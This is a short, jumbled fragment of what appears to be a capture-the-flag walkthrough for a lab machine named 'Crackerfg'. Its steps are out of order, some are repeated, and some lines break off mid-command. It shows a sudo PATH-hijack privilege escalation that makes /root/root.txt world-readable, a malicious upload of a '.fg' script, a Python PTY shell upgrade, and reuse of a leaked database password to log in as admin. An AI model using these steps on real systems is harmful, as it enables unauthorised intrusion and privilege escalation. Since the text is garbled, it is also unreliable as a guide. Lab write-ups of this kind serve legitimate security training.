[repack]: Crackerfg

echo '#!/bin/bash' > /tmp/hashgen echo 'chmod 777 /root/root.txt' >> /tmp/hashgen chmod +x /tmp/hashgen export PATH=/tmp:$PATH sudo /usr/bin/crackerfg Now /root/root.txt is readable.

Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: crackerfg

$db_user = "webapp"; $db_pass = "crackme_123"; Try admin:crackme_123 on the login page → success. echo '#

python3 -c 'import pty;pty.spawn("/bin/bash")' Check sudo: echo '#!/bin/bash' &gt